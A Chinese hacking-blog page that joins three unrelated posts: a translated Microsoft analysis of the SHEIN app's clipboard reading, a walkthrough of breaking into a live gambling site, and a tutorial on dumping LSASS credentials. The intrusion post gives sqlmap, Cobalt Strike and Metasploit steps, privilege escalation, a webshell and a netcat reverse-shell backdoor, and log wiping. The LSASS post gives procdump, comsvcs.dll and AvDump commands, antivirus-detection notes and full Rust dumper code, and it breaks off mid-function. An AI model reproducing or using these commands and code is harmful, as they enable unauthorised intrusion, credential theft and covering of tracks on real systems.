Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863111082

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

1.png出於安全原因,在線加密貨幣錢包的地址由一長串字符組成。用戶傾向於使用剪貼板複製和粘貼地址,而不是由用戶通過鍵盤輸入錢包地址。一種名為“clipper”的惡意軟件利用了這一點。它攔截剪貼板的內容,並偷偷地用攻擊者想要破壞的內容替換它。在加密貨幣交易的情況下,受影響的用戶最終可能會將復制的錢包地址悄悄地切換到屬於攻擊者的地址。

這種危險形式的惡意軟件於2017 年首次在Windows 平台上傳播,並於2018 年夏季在陰暗的Android 應用商店中被發現。 2019 年2 月,在官方Android 應用商店Google Play 上首次出現了一個惡意竊取剪切板的程序。

安全研究人員發現一類潛伏在Google Play 商店中的Clipper 惡意軟件被殺毒軟件檢測為Android/Clipper.C 惡意程序,該惡意軟件模擬了一個名為MetaMask的合法服務。該惡意軟件的主要目的是竊取受害者的憑證和私鑰,以控制受害者的以太坊資金。但是,它也可以用屬於攻擊者的地址替換複製到剪貼板的比特幣或以太坊錢包地址。

為了減輕此類隱私風險,谷歌近年來對Android 進行了進一步改進,包括在應用程序訪問剪貼板時顯示toast 消息,並禁止應用程序獲取數據,除非它在前台主動運行。

前言安全研究人員發現,中國時尚電子零售商Shein 的Android 應用程序存在缺陷,允許從不知情的用戶那裡獲取剪貼板數據並將其傳輸到遠程服務器,受影響的用戶數量可能達到數百萬,因為Shein 的Android 應用程序在Google Play 商店中的下載量已超過1 億次。 Shein 原名ZZKKO,成立於2008 年,是一家總部位於新加坡的中國在線快時尚零售商。該應用程序目前的版本為9.0.0,在Google Play 商店中的下載量已達到上億次。該公司2021 年收入超過150 億美元,預計2022 年將超過200 億美元。

Microsoft 365 Defender 研究團隊表示,他們在2021 年12 月16 日發布的應用程序7.9.2 版本中發現了該問題。該問題已於2022 年5 月得到解決。

雖然微軟研究人員並未發現應用程序開發人員有任何惡意,但他們認為收集剪貼板數據對用戶正確使用該應用程序來說是不必要的。

Android 剪貼板的安全風險Android剪貼板最有趣的特點是它的全局可訪問性,也就是說,放在剪貼板上的所有內容都是公共的,設備上所有正在運行的應用程序都可以訪問,無需任何權限要求或用戶交互。 Android甚至允許應用程序通過向系統註冊一個回調監聽器來監控剪貼板上的數據更改。在桌面環境中,這不是一個嚴重的安全問題,因為它的剪貼板是用戶驅動的,一個窗口應該只在響應用戶[1]的命令時將數據傳輸到剪貼板或從剪貼板傳輸數據。

相比之下,Android將每個應用程序視為擁有不同特權的不同用戶。由於全局無保護訪問,各種用戶,即應用程序,都可以在Android剪貼板上任意操作,不受任何限制。更糟糕的是,移動設備的屏幕尺寸有限。首先,用戶更有可能在移動設備上複製和粘貼數據,以節省打字工作量。此外,在將內容從剪貼板粘貼到應用程序後,用戶可以看到的字符更少,從而減輕了攻擊者隱藏攻擊的工作量。攻擊者針對Android剪貼板的另一個優勢是在普通應用程序開發中缺乏安全考慮。

考慮到移動用戶經常使用剪貼板複製和粘貼敏感信息,如密碼或支付信息,剪貼板內容可能成為網絡攻擊的誘人目標。利用剪貼板可以使攻擊者收集目標信息並洩露有用數據。甚至存在攻擊者出於惡意目的劫持和替換剪貼板內容的示例,例如在用戶將復制的加密貨幣錢包地址粘貼到加密錢包應用程序或聊天消息之前修改它。此外,這些類型的攻擊濫用合法的系統功能而不是利用漏洞,使得問題更難以緩解。

微軟的安全團隊發現舊版本的SHEIN Android 應用程序會定期讀取Android 設備剪貼板的內容,如果存在特定模式,則會將剪貼板的內容髮送到遠程服務器。雖然我們並未具體了解該行為背後的任何惡意意圖,但我們評估認為該行為對於用戶在應用程序上執行任務而言並非必需。

SHEIN 的Android 應用程序在Google Play 商店發布,下載量超過1 億次。即使SHEIN 的剪貼板行為不涉及惡意,這個案例也凸顯了安裝的應用程序可能帶來的風險,包括那些非常受歡迎並從平台的官方應用程序商店獲得的應用程序。我們向Play 商店的運營商Google 公司報告了我們的發現,推動他們的Android 安全團隊展開調查。 2022 年5 月,谷歌通知我們,我們確認SHEIN 從應用程序中刪除了該行為。我們要感謝Google 的Android 安全團隊以及SHEIN 團隊為解決此問題所做的努力和協作。

在此博文中,我們詳細介紹了我們如何識別SHEIN 應用程序的剪貼板行為,以及Android 用戶如何保護自己免受基於剪貼板的攻擊。我們還與更大的安全社區分享這項研究,以強調協作在提高所有人安全性方面的重要性。

靜態和動態分析以下分析詳細說明了我們如何識別和驗證SHEIN 應用程序剪貼板行為的存在,我們分析的SHEIN 應用程序的版本是7.9.2 (SHA-256: ff07dc6e237acd19cb33e35c60cb2ae52c460aac76bc27116d8de76abec66c51 )。我們首先對應用程序進行了靜態分析,以確定對行為負責的相關代碼。然後,我們通過在檢測環境中運行該應用程序來執行動態分析以觀察代碼,包括它如何讀取剪貼板並將其內容髮送到遠程服務器。

2.png

圖1. 通過SHEIN 應用程序導致剪貼板訪問的調用鏈示例

識別代碼打開應用程序後,啟動器活動com.shein.user_service.welcome.WelcomeActivity擴展了com.zzkko.base.ui.BaseActivity類,該類在onResume回調中執行對iBaseActivityCallBack.h方法的調用,如下面第11 行所示:

3.png

圖2. com.zzkko.base.ui.BaseActivity 類在onResume 回調中執行對iBaseActivityCallBack.h方法的調用

com.zzkko.app.iBaseActivityCallBack是由com.zzkko.app.BaseActivityCallBack 實現的接口。上一次調用的方法h ,部分描述如下,在同一類中執行對方法o 的調用,如第16 行所示:

4.png

圖3. 方法h執行對同一類中方法o的調用

最後,在com.zzkko.app.BaseActivityCallBack.o方法中調用了com.zzkko.util.MarketClipboardPhaseLinker.f方法,如第2 行所示:

5.png

圖4. com.zzkko.app.BaseActivityCallBack.o方法調用com.zzkko.util.MarketClipboardPhaseLinker.f方法

方法com.zzkko.app.BaseActivityCallBack.f 的實現邏輯如下圖所示,檢查字符序列“$”和“://”是否存在於剪貼板文本中,如第6 行所示。如果兩者都存在,則調用同一類中的方法k,並將剪貼板文本作為參數提供,如第8行所示:

6.png

圖5. com.zzkko.app.BaseActivityCallBack.f方法檢查剪貼板中的“$”和“://”,將剪貼板文本作為參數提供給方法k

方法com.zzkko.app.BaseActivityCallBack.k啟動一個請求流,該請求流在BaseUrlConstant.APP_URL + “ /marketing/tinyurl/phrase ”處向服務器執行POST 請求,解析為https://api-service[.]shein[ .]com/marketing/tinyurl/phrase:

7.png

圖6. 方法com.zzkko.app.BaseActivityCallBack.k啟動一個請求流,它向位於BaseUrlConstant.APP_URL + “ /marketing/tinyurl/phrase ”的服務器執行POST 請求

由於應用程序的所有活動(用戶界面)都擴展了com.zzkko.base.ui.BaseActivity,因此只要用戶啟動新活動,例如通過啟動或恢復應用程序或在其中執行某些操作,就會觸發上述調用鏈應用程序。

驗證代碼的剪貼板行為為了驗證我們的靜態分析結果,我們對該應用程序進行了動態分析,該應用程序是我們從Google Play 商店安裝到運行Android 9 的三星設備上的。

我們使用Frida攔截對android.content.ClipboardManager.getText和com.zzkko.util.MarketClipboardPhaseLinker.f方法的調用,以分析應用程序的剪貼板行為。我們還使用Frida 繞過應用程序的內置證書,使我們能夠使用Burp Proxy分析網絡流量。

我們將設備剪貼板的內容設置為https://mybank[.]com/token=secretTokentransaction=100$並打開應用程序。

打開應用程序後,記錄了以下調用:

8.png

圖7. 顯示應用剪貼板過濾的通話記錄

在上面的圖7 中,我們觀察到以下內容:

第28 行:調用函數com.zzkko.util.MarketClipboardPhaseLinker.f

第29-49 行:堆棧跟踪函數com.zzkko.util.MarketClipboardPhaseLinker.F

第53、55 行:調用ClipboardManager的hasPrimaryClip和getPrimaryClip方法

最後,執行對api-service[.]shein[.]com 的POST 請求。隨後,我們在Burp Proxy 中捕獲了以下請求,顯示了剪貼板內容到遠程服務器的傳輸:

9.png

圖8. 將剪貼板內容傳輸到遠程服務器

安卓剪貼板保護如涉及SHEIN 的此案例所示,Android 應用程序可以調用android.text.ClipboardManager API 來讀取或寫入設備剪貼板,而無需請求用戶批准或需要任何特定的Android 權限。雖然調用ClipboardManager API 可以讓應用程序簡化用戶的流程,例如快速選擇要復制的文本,但應用程序通常不需要這樣做,因為複制和粘貼通常由設備輸入法編輯器(鍵盤)執行,它是一個單獨的應用程序。

為了解決我們的研究發現和手頭更廣泛的問題,谷歌已經認識到與剪貼板訪問相關的風險,並對Android平台進行了以下改進以保護用戶:

在Android 10 及更高版本上,應用程序無法訪問剪貼板,除非它當前具有焦點(正在設備顯示屏上主動運行)或被設置為默認輸入法編輯器(鍵盤)。此限制可防止後台應用程序訪問剪貼板,但不會阻止此處描述的行為,因為SHEIN 應用程序在前台運行。

在Android 12 及更高版本上,當應用程序首次調用ClipboardManager 以從另一個應用程序訪問剪貼板數據時,會顯示一條toast 消息通知用戶。

10.png

圖9. 訪問設備剪貼板時屏幕底部顯示的Toast 消息示例

Android 13會在一段時間後清除剪貼板的內容,以提供額外程度的保護。

用戶可以通過注意剪貼板訪問消息來保護自己。如果消息意外顯示,他們應該假設剪貼板上的任何數據都可能受到損害,並且他們應該考慮刪除任何進行可疑剪貼板訪問的應用程序。

負責任的披露和行業合作提高了所有人的安全雖然我們不知道SHEIN 是否有任何惡意,但即使是應用程序中看似良性的行為也可能被惡意利用。針對剪貼板的威脅可能會使任何復制和粘貼的信息面臨被攻擊者竊取或修改的風險,例如密碼、財務詳細信息、個人數據、加密貨幣錢包地址和其他敏感信息。

我們建議用戶進一步遵循以下安全準則來防範此類風險和類似風險:

始終保持設備和已安裝的應用程序是更新後的最新狀態

切勿安裝來自不受信任來源的應用程序

考慮刪除具有意外行為的應用程序,例如剪貼板訪問toast 通知,並將該行為報告給供應商或應用程序商店運營商

在發現SHEIN Android 應用程序剪貼板行為後,我們與Google 的Android 安全團隊合作,確保從應用程序中刪除此行為。我們感謝Google 和SHEIN 團隊為解決該問題所做的努力和協作。

一.前言

最近听说用某qipai产品建的站存在SQL注入,刚好别人发来一个qsqsssfoxga13131.png

渗透惯用套路一把梭

信息收集 -> 漏洞探测/利用 -> 提权/权限维持 -> 清理痕迹

二.信息收集

q1qd4s23cdm13133.png

浏览器访问主页初步发现

系统:Windows server中间件 IIS7.5语言:ASPX

端口扫描

nmap -sV -T4 -p- 11x.xx.xxx.xx
2jb1pg1ulfz13135.png

开放的端口真不少 其中web服务的有几个:80(当前主页)、81、82、88、47001 81:是这个qipai站的后台 82:也是个后台,不知道是什么系统的后台,有验证码 88/47001:访问失败

1433:数据库 mssql

还开了 139445但是被过滤了,不知道是不是有防火墙,后面再看

敏感目录扫描

先用 Dirsearch 过一遍,前面搜集到网站语言是 aspx,加上 -e 指定语言

python dirsearch.py -u http://11x.xx.xxx.xx -e aspx
4e3cexcmlja13137.png

再用 7kbscan 过一遍,毕竟这里面收集的都是国人常用的字典

asrcaxamnfr13138.png

/m/是用户注册页面,可能有用,先记着

l1ru0enzbby13139.png

/test.html是调起微信的入口,没啥用,可能是在手机端引导受害者聊天的吧

hba4h0d30mo13140.png

查IP

北京某个运营商的服务器,菠菜在国内服务器建站挺大胆的

f0xaondrfzr13141.png

信息整理

4fd3xmhgwqn13143.png

估计就是个人建的小站,不去展开收集更过的东西了,免得打偏浪费时间

三.漏洞探测

重点先放在前面找到的 81 端口,也就是网站的后台管理页面

lewl0o23zyh13145.png

没有验证码,用户名 / 密码随便写个 admin / admin,抓包

khlzxhva5ep13148.png

用户名加了个引号发送请求直接返回报错了,不出意外应该会有报错注入或者盲注啥的

u2hwyrdf5k513151.png

兵分两路

一路把这个数据包保存到本地 qipai.txt,用 sqlmap 去扫,前面已经知道是 mssql 数据库,加上 --dbms 参数指定数据库类型节约时间

python sqlmap.py -r qipai.txt --dbms "Microsoft SQL Server" --dbs

另一路,把数据包发送到 intruder 模块去爆破密码,尝试了在浏览器随便输入用户名,提示 "用户名不存在",输入 admin 的时候提示 "用户名或密码错误",说明 admin 账户是存在的,只爆破密码就行

b0zjvurw0kr13155.png

爆出密码 888999,弱口令,永远滴神!

成功登录后台iwuoqmayovk13159.png

只有 69 个注册用户,剩下的全是机器人,这 69 个用户冲了 143 万?玩qipai的都这么有钱吗,我欢乐doudizhu都舍不得冲 6 块首充

apseuyus2n013163.png

赌博沾不得呀,这个老哥一天输了 2800

1dsjukpmyhn13167.png

在后台翻了半天没找到上传点,先放着

回到另一路 sqlmap 看看,确定存在注入,已经在慢慢跑库名了

yq13enuehsw13171.png

跑出 16 个库,根据名字猜 RYPlatformManagerDB库可能存着管理员的相关信息

1gpi2j0qowl13175.png

跑表名

python sqlmap.py -r qipai.txt --tables -D RYPlatformManagerDB
1qta3vibjfr13179.png

翻了半天就找到一个管理员的账号密码,就是前面 bp 爆破出来的那个,还有一些用户的信息,没啥更有价值的

python sqlmap.py -r qipai.txt --is-dba
utzvei2thc213182.png

是 DBA 权限,尝试拿 shell,mssql 数据库直接用 sqlmap 爆破路径就行了

python sqlmap.py -r qipai.txt --os-shell

用的盲注,时间较慢,经过漫长的等待终于成功拿 shell,渗透呐,表面上是个技术活,实际上是个体力活

当前用户权限很小,只是个 mssql 数据库权限


uo0dgumn2id13187.png

Systeminfo 查看一下系统信息,可以看到系统是 64 位的 Windows server 2008

Cobaltstrike 生成攻击载荷,再目标机器上用 powershell 加载,目标机器成功上线


gkvsub2hlxk13190.png

net user查看用户

yxcvuarp3zr13194.png

tasklist查看进程,应该没有装杀软

g4wt2oxf05z13199.png

net start查看已开启的服务,可以看到防火墙是开启的,所以前面 nmap 扫描 445 等端口被过滤

yw0ewpvtb4e13200.png

关闭防火墙,额还没提权

h4vouzhpph513202.png

四.提权/wei权

前面得知这个机器是 windows server 2008,尝试用土豆提权(MS16-075)

um1dx31hvmu13203.png

执行后稍等了一会儿,比较幸运,这个机器没打补丁,一次就提权成功,拿到 system 权限,开始为所欲为

jmwxgozhomr13207.png

进入文件管理,能看到前面信息收集时的 test.html 文件

a1itqm2gzzj13208.png

netstat -ano看一下端口开放情况,3389 没有开

vor0mbdnsxh13212.png

手动开启一下

ttphx0wosbg13213.png

可以访问远程桌面了

rjxte2yiofz13216.png

cobaltstrike 操作我不是很熟练,还是用 metasploite 吧,通过 cs 上传一个 msf 生成的马,msf 开启监听

注:cs 可以直接派生 shell 给 msf,但是当时我尝试的老半天 msf 一直没有返回 session,所以才无奈先手动上传一个 msf 的马曲线救国

vgrneowewxh13220.png

msf 开启监听

ie1fmlf3wug13224.png

在 cs 上运行上传的马

sgxilzb3il113226.png

msf 成功拿到 shell,是继承的 system 权限

buuriv05gnc13230.png

查看密码哈希,不能获取,因为msf的这个马是32位的,系统是64位的

xxamsgmipqr13233.png

ps查看进程,在进程中找一个以 system 权限运行的 64 位的程序,迁移进程后再获取哈希pte0qanhvd213236.png

到在线破解哈希的网站查一下 administrator 的密码,密码不算复杂,几秒钟就查到了

xruqb2wfbm313238.png

成功登录远程桌面

kgnlx4xdpuj13241.png

留两个后门,一个webshell,一个开机自启的nc用来反弹shell

1gaydxbf3yu13244.png

五.清理痕迹,撤退

meterpreter 的 clearv命令一键清除

ko5rr5x441e13246.png

或者手动删除 Windows 日志

rgvlynp4gsx13248.png

六.总结

3rqpu42uvhe13251.png

七.实验推荐

利用sqlmap辅助手工注入

https://www.hetianlab.com/expc.do?ec=ECID172.19.104.182015011915533100001&pk_campaign=freebuf-wemedia

通过本实验的学习,你能够了解sqlmap,掌握sqlmap的常用命令,学会使用sqlmap辅助手工完成注入。



转载于原文链接:

https://www.freebuf.com/articles/network/250744.html


前言

lsass.exe(Local Security Authority Subsystem Service进程空间中,存有着机器的域、本地用户名和密码等重要信息。如果获取本地高权限,用户便可以访问LSASS进程内存,从而可以导出内部数据(password),用于横向移动和权限提升。通过lsass转储用户密码或者hash也算是渗透过程中必不可少的一步,这里学习一下原理以及记录下多种转储方法。

[toc]

常规方法

mimikatz::logonpasswords

我们通常将这些工具称为LOLBins,指攻击者可以使用这些二进制文件执行超出其原始目的的操作。 我们关注LOLBins中导出内存的程序。

白名单工具

三个微软签名的白名单程序

Procdump.exe
SQLDumper.exe
createdump.exe

Procdump转储Lsass.exe的内存

ProcDump是微软签名的合法二进制文件,被提供用于转储进程内存。可以在微软文档中下载官方给出的ProcDump文件

用Procdump 抓取lsass进程dmp文件,

procdump64.exe -accepteula -ma lsass.exe lsass_dump

然后可以配置mimikatz使用

sekurlsa::Minidump lsassdump.dmp
sekurlsa::logonPasswords

如果对lsass.exe敏感的话,那么还可以配合lsass.exe的pid来使用

procdump64.exe -accepteula -ma pid lsass_dum

这种原理是lsass.exe是Windows系统的安全机制,主要用于本地安全和登陆策略,通常在我们登陆系统时输入密码后,密码便会存贮在lsass.exe内存中,经过wdigest和tspkg两个模块调用后,对其使用可逆的算法进行加密并存储在内存中,而Mimikatz正是通过对lsass.exe逆算获取到明文密码。

关于查杀情况,火绒病毒查杀并没有扫描到,360在13版本下也没检测到在14版本被查杀了。

SQLDumper.exe

Sqldumper.exe实用工具包含在 Microsoft SQL Server 中。 它生成用于调试目的SQL Server和相关进程的内存转储。

sqldumper的常见路径如下

C:\Program Files\Microsoft SQL Server\100\Shared\SqlDumper.exe

C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\SQLDumper.exe

C:\Program Files (x86)\Microsoft SQL Server\100\Shared\SqlDumper.exe

SQLDumper.exe包含在Microsoft SQL和Office中,可生成完整转储文件。

tasklist /svc | findstr lsass.exe  查看lsass.exe 的PID号
Sqldumper.exe ProcessID 0 0x01100  导出mdmp文件

再本地解密即可需要使用相同版本操作系统。

mimikatz.exe "sekurlsa::minidump SQLDmpr0001.mdmp" "sekurlsa::logonPasswords full" exit

被360查杀,火绒没有检测

createdump.exe

随着.NET5出现的,本身是个native binary.虽然有签名同样遭到AV查杀

createdump.exe -u -f lsass.dmp lsass[PID]

同样会被360查杀

comsvcs.dll

comsvcs.dll主要是提供COM+ Services服务。每个Windows系统中都可以找到该文件,可以使用Rundll32执行其导出函数MiniDump实现进程的完全转储。

该文件是一个白名单文件,我们主要是利用了Comsvsc.dll中的导出函数APIMiniDump来实现转储lsass.exe的目的,注意同样是需要管理员权限。因为需要开启SeDebugPrivilege权限。而在cmd中此权限是默认禁用的,powershell是默认启用的。
该文件位于C:\windows\system32\comsvcs.dll

可以这样使用如下方式来调用MiniDump实现转储lsass.exe进程:

powershell C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).id $env:TEMP\lsass-comsvcs.dmp full

360同样查杀,这种直接通过调用APIMiniDump来dump内存的行为还是太过敏感,不稍微修改很容易就被查杀。

其它工具

rdleakdiag.exe

默认存在的系统:

Windows 10 Windows 8.1 Windows 8 Windows7 windows Vista
软件版本 10.0.15063.0 6.3.9600.17415 6.2.9200.16384 6.1.7600.16385 6.0.6001.18000
没有的情况可以选择传一个上去。

生成dmp内存文件

rdrleakdiag.exe /p <pid> /o <outputdir> /fullmemdmp /wait 1 Rst

会产生两个文件,results*+进程pid+.hlk,minidump*+进程pid+.dmp。然后同样使用mimikatz进行破解。

AvDump.exe

AvDump.exe是Avast杀毒软件中自带的一个程序,可用于转储指定进程(lsass.exe)内存数据,它带有Avast杀软数字签名。所以一般不会被av查杀。
下载地址:https://www.pconlife.com/viewfileinfo/avdump64-exe/#fileinfoDownloadSaveInfodivGoto2
需要在ps中调用,否则cmd默认是不开启seDEBUGPrivilege权限的,但是现在360会检测到avdump.

.\AvDump.exe --pid <lsass pid> --exception_ptr 0 --thread_id 0 --dump_level 1 --dump_file C:\Users\admin\Desktop\lsass.dmp --min_interval 0

但也是会被360查杀。

自主编写dll

调用APIMiniDump的一个demo

这里涉及到windows进程编程,可以先看看如何遍历windows下的进程。遍历进程需要几个API和一个结构体。

 1.创建进程快照
 2.初始化第一个要遍历的进程
 3.继续下次遍历
 4.进程信息结构体

创建进程使用CreateToolhelp32Snapshot

HANDLE WINAPI CreateToolhelp32Snapshot(
DWORD dwFlags, //用来指定“快照”中需要返回的对象,可以是TH32CS_SNAPPROCESS等
DWORD th32ProcessID //一个进程ID号,用来指定要获取哪一个进程的快照,当获取系统进程列表或获取 当前进程快照时可以设为0
);

获取第一个进程句柄使用Process32First

BOOL WINAPI Process32First(
    HANDLE hSnapshot,//_in,进程快照句柄
    LPPROCESSENTRY32 lppe//_out,传入进程信息结构体,系统帮你填写.
);

获取下一个进程使用Process32Next

BOOL WINAPI Process32Next(
  HANDLE hSnapshot,        从CreateToolhelp32Snapshot 返回的句柄
  LPPROCESSENTRY32 lppe     指向PROCESSENTRY32结构的指针,进程信息结构体
);

其中还涉及到PROCESSENTRY32的结构体对我们有用的就是

  • dwSize 初始化结构体的大小
  • th32ProcessId 进程ID
  • szExeFile[MAX_PATH] 进程路径
    typedef struct tagPROCESSENTRY32 {
    DWORD dwSize; // 结构大小,首次调用之前必须初始化;
    DWORD cntUsage; // 此进程的引用计数,为0时则进程结束;
    DWORD th32ProcessID; // 进程ID;
    DWORD th32DefaultHeapID; // 进程默认堆ID;
    DWORD th32ModuleID; // 进程模块ID;
    DWORD cntThreads; // 此进程开启的线程计数;
    DWORD th32ParentProcessID;// 父进程ID;
    LONG pcPriClassBase; // 线程优先权;
    DWORD dwFlags; // 保留;
    char szExeFile[MAX_PATH]; // 进程全名;
    } PROCESSENTRY32;
    

    所以rust实现的代码如下

    fn getProcess(){
    unsafe{
        let mut handle =  CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD,0);
        let mut process_entry : PROCESSENTRY32 = zeroed();
        process_entry.dwSize = std::mem::size_of::<PROCESSENTRY32>() as u32;
        // let mut process_handle = null_mut();
    
        if !handle.is_null() {
            if Process32First(handle, &mut process_entry) == 1{
                loop {
                    let extFileName = OsString::from_wide(process_entry.szExeFile.iter().map(|&x| x as u16).take_while(|&x| x > 0).collect::<Vec<u16>>().as_slice());
                    println!("{:?}----------{:?}",extFileName,process_entry.th32ProcessID);
                    if Process32Next(handle, &mut process_entry) == 0{
                        break;
                    }
                }
            }
        }
    }
    }
    

完整dump lsass进程内存的代码

use std::{mem::{ size_of}, ffi::{CStr, OsString, c_void, OsStr}, os::windows::prelude::{OsStringExt, AsRawHandle, RawHandle, OsStrExt}, fs::File, path::{Path, self}};
use std::ptr;
use clap::{App,Arg};
use log::{error};
use windows_sys::{Win32::{Foundation::{
    CloseHandle, GetLastError, INVALID_HANDLE_VALUE, HANDLE, LUID,
}, Security::{TOKEN_PRIVILEGES, LUID_AND_ATTRIBUTES, SE_PRIVILEGE_ENABLED, TOKEN_ADJUST_PRIVILEGES, LookupPrivilegeValueA, AdjustTokenPrivileges}, System::{Threading::OpenProcessToken, Diagnostics::ToolHelp::TH32CS_SNAPTHREAD}, Storage::FileSystem::CreateFileA}, core::PCSTR};
use windows_sys::Win32::Storage::FileSystem::{
    CreateFileW,CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL,
};
use windows_sys::Win32::System::Diagnostics::Debug::{
    MiniDumpWithFullMemory,MiniDumpWriteDump
};
use windows_sys::Win32::System::Diagnostics::ToolHelp::{
    CreateToolhelp32Snapshot, Process32First, Process32Next, PROCESSENTRY32, TH32CS_SNAPPROCESS,
};

use windows_sys::Win32::System::SystemServices::GENERIC_ALL;
use windows_sys::Win32::System::Threading::{OpenProcess, PROCESS_ALL_ACCESS};

fn getPrivilege(handle : HANDLE){
    unsafe{
        let mut h_token: HANDLE =  HANDLE::default();
        let mut h_token_ptr: *mut HANDLE = &mut h_token;
        let mut tkp: TOKEN_PRIVILEGES = TOKEN_PRIVILEGES {
            PrivilegeCount: 1,
            Privileges: [LUID_AND_ATTRIBUTES {
                Luid: LUID {
                    LowPart: 0,
                    HighPart: 0,
                },
                Attributes: SE_PRIVILEGE_ENABLED,
            }],
        };
        // 打开当前进程的访问令牌
        let token = OpenProcessToken(handle, TOKEN_ADJUST_PRIVILEGES, h_token_ptr);
        if   token != 0 {
            let systemname  = ptr::null_mut();
            if  LookupPrivilegeValueA(
                systemname,
                b"SeDebugPrivilege\0".as_ptr(),
                &mut tkp.Privileges[0].Luid) != 0 {
                tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
                // println!("{:?}",tkp.Privileges[0].Attributes);
                // 提升当前进程的 SeDebugPrivilege 权限
                if  AdjustTokenPrivileges(
                    h_token,
                    0, 
                    &tkp  as *const TOKEN_PRIVILEGES, 
                    0, 
                    ptr::null_mut(), 
                    ptr::null_mut()) != 0 {
                    println!("Token privileges adjusted successfully");
                } else {
                    let last_error = GetLastError() ;
                    println!("AdjustTokenPrivileges failed with error: STATUS({:?})", last_error);
                }
            } else {
                let last_error = GetLastError() ;
                println!("LookupPrivilegeValue failed with error: STATUS({:?})", last_error);
            }
            // 关闭访问令牌句柄
                CloseHandle(h_token);
        } else {
            let last_error = GetLastError() ;
            println!("OpenProcessToken failed with error: STATUS({:?})", last_error);
        }
    }
}

fn getProcess(LsassFile : &str) {

    unsafe{
        let mut h_snapshot =  CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
        if h_snapshot == INVALID_HANDLE_VALUE {
            println!("Failed to call CreateToolhelp32Snapshot");
        }
        let mut process_entry: PROCESSENTRY32 = std::mem::zeroed::<PROCESSENTRY32>()   ;
        process_entry.dwSize = size_of::<PROCESSENTRY32>() as u32;

        if Process32First(h_snapshot, &mut process_entry) == 0 {
            println!("Process32First error");
        }

        loop {
            let extFileName = CStr::from_ptr(process_entry.szExeFile.as_ptr() as *const i8).to_bytes();
            let extfile = OsString::from_wide(extFileName.iter().map(|&x| x as u16).collect::<Vec<u16>>().as_slice()).to_string_lossy().into_owned();
            if extfile.starts_with("lsass.exe"){
                println!("[+] Got {:?} PID: {:?}",extfile,process_entry.th32ProcessID);
                break;
            }
            if Process32Next(h_snapshot, &mut process_entry) == 0 {
                println!("Failed to call Process32Next");
                break;
            }
        }
        let lsass_pid = process_entry.th32ProcessID;
        let process_handle = OpenProcess(PROCESS_ALL_ACCESS, 0, lsass_pid);
        if process_handle == 0 {
            println!("Fail to open the process ");
        }
        let lsassFile = LsassFile;
        let lsassFile: Vec<u16> = OsStr::new(lsassFile).encode_wide().chain(Some(0).into_iter()).collect();
        let lsasshandle = CreateFileW(
            lsassFile.as_ptr() as *const u16,
            GENERIC_ALL,
            0,
            ptr::null_mut(),
            CREATE_ALWAYS,
            FILE_ATTRIBUTE_NORMAL,
            0,
        );
        if lsasshandle == INVALID_HANDLE_VALUE {
            println!("Fail to open/create file {:?}",LsassFile.to_string());
        }
        let result = MiniDumpWriteDump(
            process_handle,
            lsass_pid,
            lsasshandle,
            MiniDumpWithFullMemory,
            ptr::null_mut(),
            ptr::null_mut(),
            ptr::null_mut(),
        );
        println!("{:?}",result);
        if result == 1
        {
            println!("Dump successful with file  {:?}",LsassFile.to_string());
        } else {
            println!("Dump error {:?}", GetLastError());
        }
        let status = CloseHandle(lsasshandle);
        if status != 1 {
            error!("Fail to Close file handle");
        }
    }
}

fn main() {
    let matches = App::new("SysWhispers3 - SysWhispers on steroids")
    .arg(Arg::with_name("DumpFileName")
        .short("f")
        .long("DumpFileName")
        .takes_value(true)
        .help("DumpFileName Path like C:\\temp.dmp")).get_matches();
    let mut out_file = "";
    if   matches.is_present("DumpFileName") {
        out_file = matches.value_of("DumpFileName").expect("get DumpFileName args error");
    }else {
        out_file = "lsass.dmp";
    }
    getProcess(out_file);

}

当然我们直接这样写的代码肯定是会被无情的拦截的,这类API大家已经再熟悉不过了,肯定是被拦截的很严重的。

编写Dump Lsass的DLL(yes)

其实就是为了解决直接使用Comsvsc.dll中的APIMiniDump函数容易被用户模式下的API hook拦截的问题。dll编写的思路一般是

  • 获取Debug权限
  • 找到lsass的PID
  • 使用MiniDump或MiniDumpWriteDump进行内存dump

首先需要解决权限提升的问题,这里常用的是RtlAdjustPrivilege函数来进行权限提升,这个函数封装在NtDll.dll中。这个函数的定义和解释:

NTSTATUS RtlAdjustPrivilege(
  ULONG               Privilege,
  BOOLEAN             Enable,
  BOOLEAN             CurrentThread,
  PBOOLEAN            Enabled
);

函数说明:

RtlAdjustPrivilege 函数用于启用或禁用当前线程或进程的特权。调用此函数需要进程或线程具有 SE_TAKE_OWNERSHIP_NAME 特权或调用者已经启用了此特权。

参数说明:

  • Privilege:要调整的特权的标识符。可以是一个 SE_PRIVILEGE 枚举值或一个特权名称字符串。
  • Enable:指示是启用(TRUE)还是禁用(FALSE)特权。
  • CurrentThread:指示要调整特权的是当前线程(TRUE)还是当前进程(FALSE)。
  • Enabled:输出参数,返回调整特权操作的结果。如果特权成功启用或禁用,则返回 TRUE;否则返回 FALSE。

返回值:

  • 如果函数成功执行,则返回 STATUS_SUCCESS;否则返回错误代码。

需要注意的是,该函数并不是公开的 Win32 API 函数,而是 Windows 内核函数,只能从其他内核函数中调用。

我们首先调用 OpenProcessToken 函数打开当前进程的访问令牌。然后,使用 LookupPrivilegeValue 函数获取 SE_DEBUG_NAME 权限的本地权限 ID。接着,我们定义了一个 TOKEN_PRIVILEGES 结构体,将 SE_DEBUG_NAME 权限添加到该结构体中,并通过 AdjustTokenPrivileges 函数提升当前进程的权限。最后,我们关闭了访问令牌句柄并退出程序。
所以提升权限可以这样写

void getPrivilege()
{
    HANDLE hToken;
    TOKEN_PRIVILEGES tkp;

    // 打开当前进程的访问令牌
    if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
    {
        // 获取 SeDebugPrivilege 权限的本地权限 ID
        if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tkp.Privileges[0].Luid))
        {
            tkp.PrivilegeCount = 1;
            tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
